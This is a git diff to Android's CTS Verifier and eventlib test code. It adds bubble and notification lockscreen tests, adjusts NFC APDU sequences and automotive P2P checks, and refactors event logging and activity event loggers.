diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
index 2da9a1d..e04717c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2Service.java
@@ -18,8 +18,8 @@
 
 import android.content.ComponentName;
 
-import com.android.cts.verifier.nfc.hce.HceUtils;
 import com.android.cts.verifier.nfc.hce.CommandApdu;
+import com.android.cts.verifier.nfc.hce.HceUtils;
 
 public class UiccTransactionEvent2Service {
     public static final ComponentName COMPONENT =
@@ -27,10 +27,11 @@
                     UiccTransactionEvent2Service.class.getName());
 
     public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
-        HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true),
+        HceUtils.buildCommandApdu("02"
+                + HceUtils.buildSelectApdu(HceUtils.TRANSACTION_EVENT_AID, true).getApdu(), true),
     };
 
     public static final String[] APDU_RESPOND_SEQUENCE = {
-        "9000",
+        "02900000",
     };
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
index d90dca0..a813454 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubbleActivity.java
@@ -4,10 +4,13 @@
 import static android.view.View.VISIBLE;
 
 import android.app.Activity;
-import android.graphics.Rect;
+import android.content.Intent;
+import android.graphics.Insets;
 import android.os.Bundle;
 import android.view.View;
 import android.view.ViewTreeObserver;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
 import android.widget.EditText;
 import android.widget.TextView;
 
@@ -19,6 +22,8 @@
 public class BubbleActivity extends Activity {
     public static final String EXTRA_TEST_NAME = "test_id";
     public static final String TEST_MIN_HEIGHT = "minHeight";
+    public static final String TEST_MAX_HEIGHT = "maxHeight";
+    public static final String EXTRA_INSETS = "insets";
 
     private View mRoot;
     private TextView mTitle;
@@ -26,12 +31,13 @@
     private EditText mEditText;
 
     private String mTestName = null;
-    private Rect mBounds = new Rect();
+    private Insets mInsets;
+    private boolean mIsLargeScreen;
+
     private ViewTreeObserver.OnGlobalLayoutListener mListener =
             new ViewTreeObserver.OnGlobalLayoutListener() {
                 @Override
                 public void onGlobalLayout() {
-                    mRoot.getBoundsOnScreen(mBounds);
                     checkHeight();
                     mRoot.getViewTreeObserver().removeOnGlobalLayoutListener(this);
                 }
@@ -46,17 +52,22 @@
         mTestMessage = findViewById(R.id.test_message);
         mEditText = findViewById(R.id.edit_text);
 
+        mIsLargeScreen = getResources().getConfiguration().smallestScreenWidthDp >= 600;
+
         getActionBar().hide();
         setUpTestForExtras();
     }
 
     private void setUpTestForExtras() {
-        mTestName = getIntent().getStringExtra(EXTRA_TEST_NAME);
+        Intent i = getIntent();
+        mTestName = i.getStringExtra(EXTRA_TEST_NAME);
+        mInsets = i.getParcelableExtra(EXTRA_INSETS);
         if (mTestName == null) {
             mTestMessage.setVisibility(GONE);
             return;
         }
-        if (TEST_MIN_HEIGHT.equals(mTestName)) {
+        if (TEST_MIN_HEIGHT.equals(mTestName)
+                || TEST_MAX_HEIGHT.equals(mTestName)) {
             mTestMessage.setVisibility(VISIBLE);
             mTitle.setVisibility(GONE);
             mEditText.setVisibility(GONE);
@@ -76,6 +87,37 @@
             } else {
                 mTestMessage.setText("Test Passed!");
             }
+        } else if (TEST_MAX_HEIGHT.equals(mTestName)) {
+            // These are max size which won't include insets.
+            WindowMetrics windowMetricsMax =
+                    getSystemService(WindowManager.class).getMaximumWindowMetrics();
+            // These show the metrics for the bubble activity / the bounds will be that of TaskView
+            WindowMetrics bubbleWindowMetrics =
+                    getSystemService(WindowManager.class).getCurrentWindowMetrics();
+            if (mIsLargeScreen) {
+                final float percentOfScreen = windowMetricsMax.getBounds().height() * 0.70f;
+                if (bubbleWindowMetrics.getBounds().height() < percentOfScreen) {
+                    mTestMessage.setText("Test failed --"
+                            + " the bubble expanded view is too small, it is: "
+                            + bubbleWindowMetrics.getBounds().height()
+                            + " and minimum is: " + percentOfScreen);
+                } else {
+                    mTestMessage.setText("Test Passed!");
+                }
+            } else {
+                // Bottom of bubble view should be close to the bottom inset. There needs to be some
+                // padding for the manage button so we allow some flux (200dp).
+                int maxHeightBuffer = getResources().getDimensionPixelSize(
+                        R.dimen.bubble_expanded_view_max_height_buffer);
+                int bottomInset = windowMetricsMax.getBounds().bottom - mInsets.bottom;
+                int diff = bottomInset - bubbleWindowMetrics.getBounds().bottom;
+                if (diff > maxHeightBuffer) {
+                    mTestMessage.setText("Test failed -- bottom of the bubble expanded view "
+                            + "isn't close enough to the bottom inset: " + diff);
+                } else {
+                    mTestMessage.setText("Test Passed!");
+                }
+            }
         }
     }
 }
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
index d9d3547..f249642 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/BubblesVerifierActivity.java
@@ -24,7 +24,9 @@
 import static android.view.View.INVISIBLE;
 import static android.view.View.VISIBLE;
 
+import static com.android.cts.verifier.notifications.BubbleActivity.EXTRA_INSETS;
 import static com.android.cts.verifier.notifications.BubbleActivity.EXTRA_TEST_NAME;
+import static com.android.cts.verifier.notifications.BubbleActivity.TEST_MAX_HEIGHT;
 import static com.android.cts.verifier.notifications.BubbleActivity.TEST_MIN_HEIGHT;
 
 import android.annotation.NonNull;
@@ -41,6 +43,7 @@
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
 import android.graphics.Color;
+import android.graphics.Insets;
 import android.graphics.drawable.Icon;
 import android.os.Bundle;
 import android.os.Handler;
@@ -48,6 +51,9 @@
 import android.provider.Settings;
 import android.util.ArraySet;
 import android.view.ViewGroup;
+import android.view.WindowInsets;
+import android.view.WindowManager;
+import android.view.WindowMetrics;
 import android.widget.Button;
 import android.widget.TextView;
 
@@ -172,7 +178,8 @@
             mTests.add(new CheckOverflowExists());
             mTests.add(new DismissBubbleShowsInOverflow());
             mTests.add(new PromoteBubbleFromOverflow());
-            mTests.add(new CancelRemovesBubblesInOverflow());
+            // (b/193560795) Enable this in next api bump.
+            //mTests.add(new CancelRemovesBubblesInOverflow());
             mTests.add(new TapNotifWithOverflowBubble());
             //
             // Expanded view appearance
@@ -180,7 +187,9 @@
             mTests.add(new PortraitAndLandscape());
             mTests.add(new ScrimBehindExpandedView());
             mTests.add(new ImeInsetsExpandedView());
-            mTests.add(new MinHeightExpandedView());
+            // (b/190560927) Enable this in next api bump.
+            //mTests.add(new MinHeightExpandedView());
+            mTests.add(new MaxHeightExpandedView());
         }
 
         setPassFailButtonClickListeners();
@@ -768,13 +777,15 @@
 
         @Override
         public void performTestAction() {
-            mNotificationManager.cancelAll();
-
-            // but post one more so the tester can actually access the overflow
+            // Make sure one is a bubble
             Notification.Builder builder = getConversationNotif(getTestTitle());
             Notification.BubbleMetadata metadata = getBubbleBuilder().build();
             builder.setBubbleMetadata(metadata);
             mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+
+            // Cancel the others
+            mNotificationManager.cancel(NOTIFICATION_ID + 1);
+            mNotificationManager.cancel(NOTIFICATION_ID + 2);
         }
     }
 
@@ -881,6 +892,54 @@
         }
     }
 
+    private class MaxHeightExpandedView extends BubblesTestStep {
+
+        @Override
+        public int getTestTitle() {
+            return R.string.bubbles_test_max_height_title;
+        }
+
+        @Override
+        public int getTestDescription() {
+            return R.string.bubbles_test_max_height_verify;
+        }
+
+        @Override
+        public int getButtonText() {
+            return R.string.bubbles_test_max_height_button;
+        }
+
+        @Override
+        public void performTestAction() {
+            WindowMetrics windowMetrics =
+                    getSystemService(WindowManager.class).getCurrentWindowMetrics();
+            WindowInsets metricInsets = windowMetrics.getWindowInsets();
+            Insets insets = metricInsets.getInsetsIgnoringVisibility(
+                    WindowInsets.Type.navigationBars()
+                            | WindowInsets.Type.statusBars()
+                            | WindowInsets.Type.displayCutout());
+
+            mNotificationManager.cancelAll();
+            Context context = getApplicationContext();
+            Intent intent = new Intent(context, BubbleActivity.class);
+            Bundle extras = new Bundle();
+            extras.putString(EXTRA_TEST_NAME, TEST_MAX_HEIGHT);
+            // Pass the insets because the bubble'd activity window won't have them.
+            extras.putParcelable(EXTRA_INSETS, insets);
+            intent.putExtras(extras);
+            final PendingIntent pendingIntent = PendingIntent.getActivity(context, 2, intent,
+                    PendingIntent.FLAG_MUTABLE | PendingIntent.FLAG_UPDATE_CURRENT);
+            Notification.BubbleMetadata.Builder b = new Notification.BubbleMetadata.Builder(
+                    pendingIntent,
+                    Icon.createWithResource(getApplicationContext(), R.drawable.ic_android));
+            b.setDesiredHeight(Short.MAX_VALUE);
+
+            Notification.Builder builder = getConversationNotif(getTestTitle());
+            builder.setBubbleMetadata(b.build());
+            mNotificationManager.notify(NOTIFICATION_ID, builder.build());
+        }
+    }
+
     private class LowRamBubbleTest extends BubblesTestStep {
         @Override
         public int getTestTitle() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 9bed8da..1cabb00 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -17,9 +17,11 @@
 package com.android.cts.verifier.notifications;
 
 import static android.app.Notification.VISIBILITY_PRIVATE;
+import static android.app.Notification.VISIBILITY_PUBLIC;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
 import static android.app.NotificationManager.IMPORTANCE_MAX;
 import static android.app.NotificationManager.IMPORTANCE_NONE;
+import static android.app.NotificationManager.VISIBILITY_NO_OVERRIDE;
 import static android.provider.Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS;
 import static android.provider.Settings.EXTRA_APP_PACKAGE;
 import static android.provider.Settings.EXTRA_CHANNEL_ID;
@@ -158,6 +160,7 @@
         tests.add(new ServiceStoppedTest());
         tests.add(new NotificationNotReceivedTest());
         if (!isAutomotive) {
+            tests.add(new RestoreLockscreenVisibilityTest());
             tests.add(new AddScreenLockTest());
             tests.add(new SecureActionOnLockScreenTest());
             tests.add(new RemoveScreenLockTest());
@@ -567,7 +570,7 @@
                         logFail("Notification wasn't posted");
                         status = FAIL;
                     }
-                 }
+                }
 
             } else {
                 // user hasn't jumped to settings  yet
@@ -1706,6 +1709,59 @@
         }
     }
 
+    /**
+     * Creates a notification channel. Sends the user to settings to re-allow the channel to
+     * show content on the lockscreen.
+     * This asks the user to undo what they did for {@link LockscreenVisibilityTest}
+     */
+    protected class RestoreLockscreenVisibilityTest extends InteractiveTestCase {
+        private View mView;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mView = createNlsSettingsItem(parent, R.string.nls_restore_visibility);
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(false);
+            return mView;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            status = READY;
+            Button button = mView.findViewById(R.id.nls_action_button);
+            button.setEnabled(true);
+        }
+
+        @Override
+        boolean autoStart() {
+            return true;
+        }
+
+        @Override
+        protected void test() {
+            NotificationChannel channel = mNm.getNotificationChannel(NOTIFICATION_CHANNEL_ID);
+            int visibility = channel.getLockscreenVisibility();
+            if (visibility == VISIBILITY_PUBLIC || visibility == VISIBILITY_NO_OVERRIDE) {
+                status = PASS;
+            } else {
+                status = WAIT_FOR_USER;
+            }
+
+            next();
+        }
+
+        protected void tearDown() {
+            deleteChannels();
+        }
+
+        @Override
+        protected Intent getIntent() {
+            return new Intent(Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+                    .putExtra(EXTRA_APP_PACKAGE, mContext.getPackageName())
+                    .putExtra(EXTRA_CHANNEL_ID, NOTIFICATION_CHANNEL_ID);
+        }
+    }
+
     private class AddScreenLockTest extends InteractiveTestCase {
         private View mView;
         @Override
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
index 2e7ed74..b9dc4eb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/P2pTestListActivity.java
@@ -21,6 +21,7 @@
 import android.content.DialogInterface;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.database.DataSetObserver;
 import android.net.wifi.p2p.WifiP2pManager;
 import android.os.Bundle;
@@ -67,15 +68,18 @@
          */
         ArrayTestListAdapter adapter = new ArrayTestListAdapter(this);
 
-        adapter.add(TestListItem.newCategory(this, R.string.p2p_group_formation));
-        adapter.add(TestListItem.newTest(this,
-                R.string.p2p_go_neg_responder_test,
-                GoNegResponderTestActivity.class.getName(),
-                new Intent(this, GoNegResponderTestActivity.class), null));
-        adapter.add(TestListItem.newTest(this,
-                R.string.p2p_go_neg_requester_test,
-                GoNegRequesterTestListActivity.class.getName(),
-                new Intent(this, GoNegRequesterTestListActivity.class), null));
+        // TODO(b/184183917): Remove check for automotive once this issues is resolved.
+        if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+            adapter.add(TestListItem.newCategory(this, R.string.p2p_group_formation));
+            adapter.add(TestListItem.newTest(this,
+                    R.string.p2p_go_neg_responder_test,
+                    GoNegResponderTestActivity.class.getName(),
+                    new Intent(this, GoNegResponderTestActivity.class), null));
+            adapter.add(TestListItem.newTest(this,
+                    R.string.p2p_go_neg_requester_test,
+                    GoNegRequesterTestListActivity.class.getName(),
+                    new Intent(this, GoNegRequesterTestListActivity.class), null));
+        }
 
         adapter.add(TestListItem.newCategory(this, R.string.p2p_join));
         adapter.add(TestListItem.newTest(this,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
index 23bf053..641ab20 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/display/ModeSwitchingTestActivity.java
@@ -33,6 +33,7 @@
 import android.view.Window;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.DisplayUtil;
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.tv.TestStepBase;
@@ -75,7 +76,7 @@
         Display.Mode lastMode = display.getMode();
         mSteps = new ArrayList<>();
         for (Display.Mode mode : modeList) {
-            boolean isSeamlessSwitch = isSeamlessSwitch(lastMode, mode);
+            boolean isSeamlessSwitch = DisplayUtil.isModeSwitchSeamless(lastMode, mode);
             mSteps.addAll(createTestStepsForTransition(lastMode, mode, isSeamlessSwitch));
             lastMode = mode;
         }
@@ -134,11 +135,11 @@
                 .ifPresent(modeList::add);
 
         // Find a mode to test seamless mode switch.
-        if (modeList.size() > 0 && !isSeamlessSwitch(activeMode, modeList.get(0))
+        if (modeList.size() > 0 && !DisplayUtil.isModeSwitchSeamless(activeMode, modeList.get(0))
                 && activeMode.getAlternativeRefreshRates().length > 0) {
             Arrays.stream(display.getSupportedModes())
                     .filter(mode -> !mode.equals(activeMode))
-                    .filter(mode -> isSeamlessSwitch(activeMode, mode))
+                    .filter(mode -> DisplayUtil.isModeSwitchSeamless(activeMode, mode))
                     .findFirst()
                     .ifPresent(modeList::add);
         }
@@ -209,19 +210,6 @@
 
     }
 
-    private boolean isSeamlessSwitch(Display.Mode from, Display.Mode to) {
-        if (!isResolutionEqual(from, to)) {
-            return false;
-        }
-
-        for (float refreshRate : from.getAlternativeRefreshRates()) {
-            if (Math.abs(refreshRate - to.getRefreshRate()) < REFRESH_RATE_TOLERANCE) {
-                return true;
-            }
-        }
-        return false;
-    }
-
     private boolean isResolutionEqual(Display.Mode left, Display.Mode right) {
         return left.getPhysicalHeight() == right.getPhysicalHeight()
                 && left.getPhysicalWidth() == right.getPhysicalWidth();
@@ -231,7 +219,6 @@
         return mode.getPhysicalHeight() * 16 == mode.getPhysicalWidth() * 9;
     }
 
-
     private void playVideo() {
         try {
             mPlayer.start();
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
index 38c1543..c8218d9 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Events.java
@@ -31,6 +31,9 @@
 import java.util.List;
 import java.util.Set;
 import java.util.WeakHashMap;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+import java.util.concurrent.ThreadPoolExecutor;
 
 /** Event store for the current package. */
 class Events {
@@ -40,6 +43,8 @@
     private static final Duration MAX_LOG_AGE = Duration.ofMinutes(5);
     private static final int BYTES_PER_INT = 4;
 
+    private static final ExecutorService sExecutor = Executors.newSingleThreadExecutor();
+
     /** Interface used to be informed when new events are logged. */
     interface EventListener {
         void onNewEvent(Event e);
@@ -67,15 +72,17 @@
     }
 
     private void initialiseFiles() {
-        loadEventsFromFile();
-        try {
-            mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
-            // We clear the file and write the logs again so we can exclude old logs
-            // This avoids the file growing without limit
-            writeAllEventsToFile();
-        } catch (FileNotFoundException e) {
-            throw new IllegalStateException("Could not write event log", e);
-        }
+//        sExecutor.execute(() -> {
+//            loadEventsFromFile();
+//            try {
+//                mOutputStream = mContext.openFileOutput(EVENT_LOG_FILE_NAME, Context.MODE_PRIVATE);
+//                // We clear the file and write the logs again so we can exclude old logs
+//                // This avoids the file growing without limit
+//                writeAllEventsToFile();
+//            } catch (FileNotFoundException e) {
+//                throw new IllegalStateException("Could not write event log", e);
+//            }
+//        });
     }
 
     private void loadEventsFromFile() {
@@ -120,11 +127,13 @@
 
     /** Saves the event so it can be queried. */
     void log(Event event) {
-        Log.d(TAG, event.toString());
-
-        mEventList.add(event); // TODO: This should be made immutable before adding
-        writeEventToFile(event);
-        triggerEventListeners(event);
+        sExecutor.execute(() -> {
+            Log.d(TAG, event.toString());
+            synchronized (mEventList) {
+                mEventList.add(event); // TODO: This should be made immutable before adding
+            }
+            triggerEventListeners(event);
+        });
     }
 
     private void writeEventToFile(Event event) {
@@ -145,7 +154,9 @@
 
     /** Get all logged events. */
     public List<Event> getEvents() {
-        return mEventList;
+        synchronized (mEventList) {
+            return mEventList;
+        }
     }
 
     /** Register an {@link EventListener} to be called when a new {@link Event} is logged. */
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
index d9cbc7c..b0b6bd5 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/RemoteEventQuerier.java
@@ -34,7 +34,9 @@
 import android.util.Log;
 
 import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.Package;
 import com.android.bedstead.nene.permissions.PermissionContext;
+import com.android.bedstead.nene.users.User;
 
 import java.time.Duration;
 import java.time.Instant;
@@ -75,6 +77,7 @@
 
                 @Override
                 public void onServiceDisconnected(ComponentName className) {
+                    mQuery.set(null);
                     Log.i(LOG_TAG, "Service disconnected from " + className);
                 }
             };
@@ -92,7 +95,7 @@
             }
             return e;
         } catch (RemoteException e) {
-            throw new AssertionError("Error making cross-process call", e);
+            throw new IllegalStateException("Error making cross-process call", e);
         }
     }
 
@@ -109,7 +112,7 @@
             }
             return e;
         } catch (RemoteException e) {
-            throw new AssertionError("Error making cross-process call", e);
+            throw new IllegalStateException("Error making cross-process call", e);
         }
     }
 
@@ -131,7 +134,7 @@
             }
             return e;
         } catch (RemoteException e) {
-            throw new AssertionError("Error making cross-process call", e);
+            throw new IllegalStateException("Error making cross-process call", e);
         }
     }
 
@@ -144,7 +147,7 @@
     private AtomicReference<IQueryService> mQuery = new AtomicReference<>();
     private CountDownLatch mConnectionCountdown;
 
-    private static final int MAX_INITIALISATION_ATTEMPTS = 10;
+    private static final int MAX_INITIALISATION_ATTEMPTS = 300;
     private static final long INITIALISATION_ATTEMPT_DELAY_MS = 100;
 
     private void ensureInitialised() {
@@ -155,13 +158,13 @@
             try {
                 ensureInitialisedOrThrow();
                 return;
-            } catch (Exception e) {
+            } catch (Exception | Error e) {
                 // Ignore, we will retry
             }
             try {
                 Thread.sleep(INITIALISATION_ATTEMPT_DELAY_MS);
             } catch (InterruptedException e) {
-                throw new AssertionError("Interrupted while initialising", e);
+                throw new IllegalStateException("Interrupted while initialising", e);
             }
         }
 
@@ -180,7 +183,8 @@
         try {
             mQuery.get().init(id, data);
         } catch (RemoteException e) {
-            throw new AssertionError("Error making cross-process call", e);
+            mQuery.set(null);
+            throw new IllegalStateException("Error making cross-process call", e);
         }
     }
 
@@ -191,7 +195,9 @@
         intent.setClassName(mPackageName, "com.android.eventlib.QueryService");
 
         AtomicBoolean didBind = new AtomicBoolean(false);
-        if (mEventLogsQuery.getUserHandle() != null) {
+        if (mEventLogsQuery.getUserHandle() != null
+                && mEventLogsQuery.getUserHandle().getIdentifier()
+                != sTestApis.users().instrumented().id()) {
             try (PermissionContext p =
                          sTestApis.permissions().withPermission(INTERACT_ACROSS_USERS_FULL)) {
                 didBind.set(sContext.bindServiceAsUser(
@@ -206,15 +212,30 @@
             try {
                 mConnectionCountdown.await(CONNECTION_TIMEOUT_SECONDS, TimeUnit.SECONDS);
             } catch (InterruptedException e) {
-                throw new AssertionError("Interrupted while binding to service", e);
+                throw new IllegalStateException("Interrupted while binding to service", e);
             }
         } else {
-            throw new AssertionError("Tried to bind but call returned false (intent is "
+            User user = (mEventLogsQuery.getUserHandle() == null) ? sTestApis.users().instrumented().resolve() : sTestApis.users().find(mEventLogsQuery.getUserHandle()).resolve();
+            if (user == null) {
+                throw new AssertionError("Tried to bind to user " + mEventLogsQuery.getUserHandle() + " but does not exist");
+            }
+            if (user.state() != User.UserState.RUNNING_UNLOCKED) {
+                throw new AssertionError("Tried to bind to user " + user + " but they are not RUNNING_UNLOCKED");
+            }
+            Package pkg = sTestApis.packages().find(mPackageName).resolve();
+            if (pkg == null) {
+                throw new AssertionError("Tried to bind to package " + mPackageName + " but it is not installed on any user.");
+            }
+            if (!pkg.installedOnUsers().contains(user)) {
+                throw new AssertionError("Tried to bind to package " + mPackageName + " but it is not installed on target user " + user);
+            }
+
+            throw new IllegalStateException("Tried to bind but call returned false (intent is "
                     + intent + ", user is  " + mEventLogsQuery.getUserHandle() + ")");
         }
 
         if (mQuery.get() == null) {
-            throw new AssertionError("Tried to bind but failed");
+            throw new IllegalStateException("Tried to bind but failed");
         }
     }
 }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
index 2474368..4cf5547 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -98,30 +98,23 @@
     }
 
     /** Begin logging a {@link ActivityCreatedEvent}. */
-    public static ActivityCreatedEventLogger logger(Activity activity, Bundle savedInstanceState) {
-        return new ActivityCreatedEventLogger(activity, savedInstanceState);
+    public static ActivityCreatedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo, Bundle savedInstanceState) {
+        return new ActivityCreatedEventLogger(activity, activityInfo, savedInstanceState);
     }
 
     /** {@link EventLogger} for {@link ActivityCreatedEvent}. */
     public static final class ActivityCreatedEventLogger extends EventLogger<ActivityCreatedEvent> {
-        private ActivityCreatedEventLogger(Activity activity, Bundle savedInstanceState) {
+        private ActivityCreatedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo, Bundle savedInstanceState) {
             super(activity, new ActivityCreatedEvent());
             mEvent.mSavedInstanceState = new SerializableParcelWrapper<>(savedInstanceState);
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
-        public ActivityCreatedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        public ActivityCreatedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        public ActivityCreatedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityCreatedEventLogger setActivity(android.content.pm.ActivityInfo activityInfo) {
+            mEvent.mActivity = ActivityInfo.builder()
+                    .activityClass(activityInfo.name)
+                    .exported(activityInfo.exported)
+                    .build();
             return this;
         }
 
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
index 88a00de..0a8cbcd 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -63,33 +63,21 @@
     }
 
     /** Begin logging a {@link ActivityDestroyedEvent}. */
-    public static ActivityDestroyedEventLogger logger(Activity activity) {
-        return new ActivityDestroyedEventLogger(activity);
+    public static ActivityDestroyedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityDestroyedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityDestroyedEvent}. */
     public static final class ActivityDestroyedEventLogger
             extends EventLogger<ActivityDestroyedEvent> {
-        private ActivityDestroyedEventLogger(Activity activity) {
+        private ActivityDestroyedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityDestroyedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being destroyed. */
-        public ActivityDestroyedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being destroyed. */
-        public ActivityDestroyedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being destroyed. */
-        public ActivityDestroyedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityDestroyedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
index 2e706ef..039f8f8 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -63,33 +63,21 @@
     }
 
     /** Begin logging a {@link ActivityPausedEvent}. */
-    public static ActivityPausedEventLogger logger(Activity activity) {
-        return new ActivityPausedEventLogger(activity);
+    public static ActivityPausedEventLogger logger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
+        return new ActivityPausedEventLogger(activity, activityInfo);
     }
 
     /** {@link EventLogger} for {@link ActivityPausedEvent}. */
     public static final class ActivityPausedEventLogger
             extends EventLogger<ActivityPausedEvent> {
-        private ActivityPausedEventLogger(Activity activity) {
+        private ActivityPausedEventLogger(Activity activity, android.content.pm.ActivityInfo activityInfo) {
             super(activity, new ActivityPausedEvent());
-            setActivity(activity);
+            setActivity(activityInfo);
         }
 
         /** Set the {@link Activity} being destroyed. */
-        public ActivityPausedEventLogger setActivity(Activity activity) {
-            mEvent.mActivity = new ActivityInfo(activity);
-            return this;
-        }
-
-        /** Set the {@link Activity} class being destroyed. */
-        public ActivityPausedEventLogger setActivity(Class<? extends Activity> activityClass) {
-            mEvent.mActivity = new ActivityInfo(activityClass);
-            return this;
-        }
-
-        /** Set the {@link Activity} class name being destroyed. */
-        public ActivityPausedEventLogger setActivity(String activityClassName) {
-            mEvent.mActivity = new ActivityInfo(activityClassName);
+        public ActivityPausedEventLogger setActivity(android.content.pm.ActivityInfo activity) {
+            mEvent.mActivity = ActivityInfo.builder(activity).build();
             return this;
         }
     }
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
index 40a9eb9..41ee09e 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
